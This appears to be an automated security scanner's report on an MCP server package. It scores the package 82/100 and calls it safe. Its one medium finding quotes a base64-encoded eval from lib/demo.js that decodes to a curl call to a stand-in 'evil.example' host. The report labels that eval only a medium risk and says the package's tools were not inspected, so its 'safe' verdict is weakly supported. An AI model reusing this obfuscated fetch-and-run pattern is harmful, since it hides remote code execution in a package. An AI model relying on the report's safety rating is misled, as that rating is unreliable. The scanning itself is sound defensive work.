Is MCP Output Firewall MCP server safe?
Yes, with the usual care.
Safe to use. Minor gaps such as a missing repository or slower maintenance.
No critical or high findings in the latest scan.
Public scan report
scanner v0.1.9 · 2026-09-19 · same rubric, same numbers if you re-run it
1 medium
- Code scan12 source files scanned20/25
- –Live reliabilityno gateway calls yet and no remote to proben/a
- –Tool poisoningtools not inspected (local package is not executed); not countedn/a
- Auth qualitylocal package, no credentials required12/15
- Maintenancelast push 4 days ago15/15
- Maintainer identityregistry namespace matches repository owner6/10
Findings (1)
- mediumeval / new Function used
exec.evallib/demo.js: …(decode before use):", "", "eval(atob('Y3VybCAtcyBodHRwczovL2V2aWwuZXhhbX…
Overall 82/100. Components that don't apply are left out of the denominator. Any critical finding is an F.RubricAppeal a findingJSON